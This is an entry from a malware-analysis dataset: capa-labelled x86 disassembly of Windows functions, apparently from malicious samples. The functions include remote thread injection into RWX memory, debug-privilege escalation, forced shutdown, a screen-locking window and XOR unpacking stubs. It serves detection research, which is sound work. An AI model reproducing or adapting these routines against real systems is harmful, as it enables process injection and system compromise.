joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440c90
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x184], 0
call fcn.0043fce0
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x440cc2
xor eax, eax
jmp 0x440e56
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x440cf4
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x440e56
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x5c], eax
mov edx, dword [ebp - 0x68]
add edx, 0x80
mov dword [ebp - 0x18c], edx
push str.WaitForSingleObject
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x180], eax
push 0x459864
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x17c], eax
push 0x459870
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x174], eax
push 0x45987c
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x178], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x60], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x170]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x16c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x43fd40
call fcn.0043fcd0
add esp, 4
push eax
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x180]
push edx
mov eax, dword [ebp - 0x18c]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x18c]
push edx
mov eax, dword [ebp - 0x68]
push eax
push str._x__x_n
push 0x50
lea ecx, [ebp - 0x58]
push ecx
call fcn.00401090
add esp, 0x14
lea edx, [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x188]
push eax
push 0
mov ecx, dword [ebp - 0x18c]
push ecx
mov edx, dword [ebp - 0x68]
push edx
push 0
push 0
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
je 0x440e49
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret
Function at 0x440f30
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 8]
push eax
call fcn.0043fa50
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
lea ecx, [ebp - 8]
push ecx
call fcn.0043fa70
add esp, 4
mov dword [ebp - 0xc], eax
push 0x20b
call fcn.00423070
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 0x24]
jne 0x440f89
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0x20b
call fcn.00426c90
add esp, 0xc
jmp 0x440fd9
push 0x20b
call fcn.00423070
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0043fa90
add esp, 0x10
fstp qword [ebp - 0x18]
fld qword [0x45cab8]
fcomp qword [ebp - 0x18]
fnstsw ax
test ah, 5
jp 0x440fd9
call fcn.00440f10
call fcn.00440c90
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x4412d0
Capabilities:
Create directory
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 8], eax
mov byte [ebp - 1], 0
lea eax, [ebp - 0x208]
push eax
call fcn.00440130
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x44136c
lea edx, [ebp - 0x208]
push edx
mov eax, dword [0x464b18]
push eax
call fcn.0041fa6a
add esp, 8
test eax, eax
jne 0x44134e
call fcn.00440fe0
push 0x204
call fcn.00423070
add esp, 4
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], edx
mov ecx, dword [ebp - 0x528]
or ecx, dword [ebp - 0x524]
jne 0x44134c
push 0
call fcn.00427cd0
add esp, 4
jmp 0x441367
call fcn.00440fe0
lea edx, [ebp - 0x208]
push edx
call fcn.0044cae0
add esp, 4
call fcn.00440c90
jmp 0x44145f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040adab
add esp, 4
mov eax, dword [0x464b10]
push eax
push 0xa
lea ecx, [ebp - 0x310]
push ecx
call fcn.00426bd0
add esp, 0xc
lea edx, [ebp - 0x520]
push edx
call fcn.0043fc90
add esp, 4
lea eax, [ebp - 0x310]
push eax
lea ecx, [ebp - 0x520]
push ecx
call fcn.0043af30
add esp, 8
push 0x4592d4
lea edx, [ebp - 0x520]
push edx
call fcn.00409ea0
add esp, 8
lea eax, [ebp - 0x310]
push eax
lea ecx, [ebp - 0x520]
push ecx
push str._s_s.exe
push 0x104
lea edx, [ebp - 0x418]
push edx
call fcn.00401090
add esp, 0x14
push 0
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [0x464b18]
push edx
call fcn.0043fab0
add esp, 8
movzx eax, al
test eax, eax
jne 0x441426
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x418]
push ecx
call fcn.0043fd90
add esp, 4
cmp dword [0x464b04], 0
je 0x44144b
mov edx, dword [0x464b04]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x418]
push eax
call fcn.0044cae0
add esp, 4
call fcn.00440c90
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret
Function at 0x44cae0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00409d80
add esp, 0xc
mov dword [ebp - 0x58], 0x44
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x44cb35
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x44cbf0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
push 2
mov ecx, 0x464a84
call fcn.00401030
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x44cc2f
xor eax, eax
jmp 0x44cc8c
lea ecx, [ebp - 0x14]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
push 0
push 0
push 0
lea edx, [ebp - 0x18]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x44cc72
xor eax, eax
jmp 0x44cc8c
push 0x80020000
push 0x16
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x44cc87
xor eax, eax
jmp 0x44cc8c
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x44ccb0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x44ccd1
xor al, al
jmp 0x44cd30
lea ecx, [ebp - 0x1c]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x44ccf4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x44cd30
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x44d130
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x210], 0
push 1
mov ecx, dword [0x465158]
call fcn.0043c3e0
push eax
push 0
mov ecx, dword [0x465158]
call fcn.0043c3e0
push eax
push str._s__s
push 0x200
lea eax, [ebp - 0x410]
push eax
call fcn.00401090
add esp, 0x14
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x208]
push edx
call fcn.00409e90
add esp, 8
push 0x45930c
lea eax, [ebp - 0x208]
push eax
call fcn.00409ea0
add esp, 8
lea ecx, [ebp - 0x20c]
push ecx
push 0xf003f
push 0
push 7
mov ecx, dword [0x465158]
call fcn.0043c3e0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44d2e2
push 1
mov ecx, dword [0x465158]
call fcn.0043c3e0
push eax
push 0
mov ecx, dword [0x465158]
call fcn.0043c3e0
push eax
push 0x459310
push 0x200
lea edx, [ebp - 0x410]
push edx
call fcn.00401090
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0x410]
push eax
call fcn.00409e00
add esp, 4
shl eax, 1
push eax
lea ecx, [ebp - 0x410]
push ecx
push 1
push 0
push str.DisplayName
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00409e00
add esp, 4
shl eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
push str.ShortcutPath
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00409e00
add esp, 4
shl eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
push str.UninstallString
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x208]
push eax
call fcn.00409e00
add esp, 4
shl eax, 1
push eax
lea ecx, [ebp - 0x208]
push ecx
push 1
push 0
push str.DisplayIcon
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret
Function at 0x44e7c0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 0x14], eax
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.00409d80
add esp, 0xc
mov ecx, dword [0x464af8]
push ecx
push str._sazaazzaza.bmp
push 0x104
lea edx, [ebp - 0x120]
push edx
call fcn.00401090
add esp, 0x10
push 0
push 0x44cc90
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x80000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 0x10], eax
push 0
push 0x44cc90
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_EnumDesktopWindows]
push 1
lea ecx, [ebp - 0x120]
push ecx
push 0x800000
push 0x1e0
push 0x280
call fcn.0044db40
add esp, 0x14
mov dword [ebp - 8], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x464af4]
push edx
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x40
push 0x1e0
push 0x280
push 0
push 0
push 0xffffffffffffffff
mov eax, dword [0x464af4]
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, dword [0x464b40]
mov byte [ecx + 0x9e], 1
mov edx, dword [0x464af4]
push edx
call fcn.004298b0
add esp, 4
push 0
push 0
mov eax, dword [0x464af4]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov ecx, dword [0x464af4]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
mov ecx, 0x464a84
call fcn.00401030
mov dword [ebp - 0x124], 0
jmp 0x44e910
mov edx, dword [ebp - 0x124]
add edx, 1
mov dword [ebp - 0x124], edx
cmp dword [ebp - 0x124], 0x64
jge 0x44e976
push 0x40
push 0x1e0
push 0x280
push 0
push 0
push 0xffffffffffffffff
mov eax, dword [0x464af4]
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0xcc0020
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
push 0x1e0
push 0x280
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x44e901
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x645b3ea6
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..7LWLf
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x133b2e72
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x100281a
Capabilities:
Get file system object information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c4
mov eax, dword [0x1006050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x10012b0
push dword [ebp + 0x14]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x2c0], 1
call fcn.01001cf3
mov edi, eax
test edi, edi
jl 0x1002a01
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
jmp 0x10028f8
cmp word [esi], 0x5c
jne 0x10028f6
push 0x200
xor eax, eax
push 0x2b4
mov word [esi], ax
lea eax, [ebp - 0x2b8]
push eax
push 0
push dword [ebp - 0x2c4]
call ebx
test eax, eax
je 0x1002976
cmp dword [ebp - 0x2c0], 0
push 0x5c
pop eax
mov word [esi], ax
je 0x10028ba
and dword [ebp - 0x2c0], 0
jmp 0x10028d7
push 0x100122c
push dword [ebp + 0x14]
push dword [ebp - 0x2bc]
call fcn.01001d2d
mov edi, eax
test edi, edi
jl 0x1002a01
lea eax, [ebp - 0x2ac]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x2bc]
call fcn.01001d2d
mov edi, eax
test edi, edi
jl 0x1002a01
inc esi
inc esi
cmp word [esi], 0
jne 0x1002874
push 0x200
push 0x2b4
lea eax, [ebp - 0x2b8]
push eax
push 0
push dword [ebp - 0x2c4]
call ebx
test eax, eax
jne 0x10029c2
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jle 0x100293b
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
mov eax, dword [section..data]
cmp eax, section..data
je 0x10029f8
test byte [eax + 0x1c], 4
je 0x10029f8
call esi
push eax
mov eax, dword [section..data]
push 0x1001250
push 0x42
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.01001915
jmp 0x10029f8
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
test eax, eax
jle 0x100298c
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
mov eax, dword [section..data]
cmp eax, section..data
je 0x10029ba
test byte [eax + 0x1c], 4
je 0x10029ba
call ebx
push eax
mov eax, dword [section..data]
push 0x1001250
push 0x41
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.01001915
push 0x5c
pop eax
mov word [esi], ax
jmp 0x10029f8
push 0x100122c
push dword [ebp + 0x14]
push dword [ebp - 0x2bc]
call fcn.01001d2d
mov edi, eax
test edi, edi
jl 0x1002a01
lea eax, [ebp - 0x2ac]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x2bc]
call fcn.01001d2d
mov edi, eax
test edi, edi
jl 0x1002a01
xor edi, edi
test edi, edi
jl 0x1002a01
xor eax, eax
inc eax
jmp 0x1002a0d
movzx eax, di
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01004890
leave
ret 0x10
Function at 0x1003500
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x45c
mov eax, dword [0x1006050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
mov word [ebp - 0x414], ax
push 0x104
lea eax, [ebp - 0x414]
push eax
xor edi, edi
push 0x100150c
mov dword [ebp - 0x41c], edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push edi
cmp word [ebp - 0x414], di
jne 0x1003553
call dword [sym.imp.KERNEL32.dll_ExitThread]
push 0x208
lea eax, [ebp - 0x414]
push eax
call fcn.01001bcc
mov dword [ebp - 0x420], eax
cmp eax, edi
jne 0x1003571
push edi
jmp 0x100354d
push 0x10060c0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
cmp ebx, edi
je 0x1003590
push edi
push edi
push 0x1009
push ebx
call esi
mov eax, dword [0x1006160]
mov dword [0x1006158], edi
mov dword [0x100615c], edi
cmp eax, edi
je 0x10035ba
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.01002562
mov dword [ebp - 0x418], eax
jmp 0x10035c0
mov dword [ebp - 0x418], edi
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
push ebx
push dword [ebp - 0x420]
push 0x208
push eax
call fcn.01003051
test eax, eax
jne 0x10035ef
push edi
push 1
push 0xb
push ebx
call esi
jmp 0x100368e
mov eax, dword [0x1006158]
push 0x1001ccd
push 1
mov dword [0x1006150], eax
mov eax, dword [0x100615c]
push 0x1030
push ebx
mov dword [0x1006154], eax
call esi
push 3
pop eax
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], eax
lea eax, [ebp - 0x45c]
push eax
push edi
push 0x102b
push ebx
mov dword [ebp - 0x45c], 8
mov dword [ebp - 0x458], edi
mov dword [ebp - 0x454], edi
call esi
mov eax, dword [0x1006154]
mov ecx, dword [0x1006150]
cmp eax, edi
ja 0x1003672
jb 0x1003660
cmp ecx, 0x400
jae 0x1003672
mov dword [0x1006150], 1
mov dword [0x1006154], edi
jmp 0x1003684
shrd ecx, eax, 0xa
shr eax, 0xa
mov dword [0x1006150], ecx
mov dword [0x1006154], eax
mov dword [ebp - 0x41c], 1
push 0x10060c0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 0x418], edi
pop edi
pop esi
pop ebx
je 0x10036b0
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x41c]
xor ecx, ebp
call fcn.01004890
leave
ret 4

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40271c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403174
test esi, esi
jne 0x402752
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403264
jmp 0x402770
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d0
mov edi, eax
test esi, esi
je 0x402770
cmp dword [ebx], 0
je 0x402770
dec esi
jmp 0x402759
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402918
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x411014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4029b0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402990
xor eax, eax
push ebp
push 0x402989
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402990
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x411014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x411014], ax
mov esp, ebp
pop ebp
ret

Function at 0x402ff8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x412034], 0
je 0x403059
cmp word [0x412208], 0xd7b2
jne 0x403021
cmp dword [0x412210], 0
jbe 0x403021
mov eax, 0x412204
call dword [0x412220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41105c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403080
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x411020], 0
jne 0x403075
push 0
push 0x411054
push 0x41105c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403f00
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403f66
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004032f0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040280c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403f50
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f6d
lea eax, [ebp - 0x10]
call fcn.00403174
ret

Function at 0x404b00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403508
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x404b19
test al, 0x10
jne 0x404b1d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret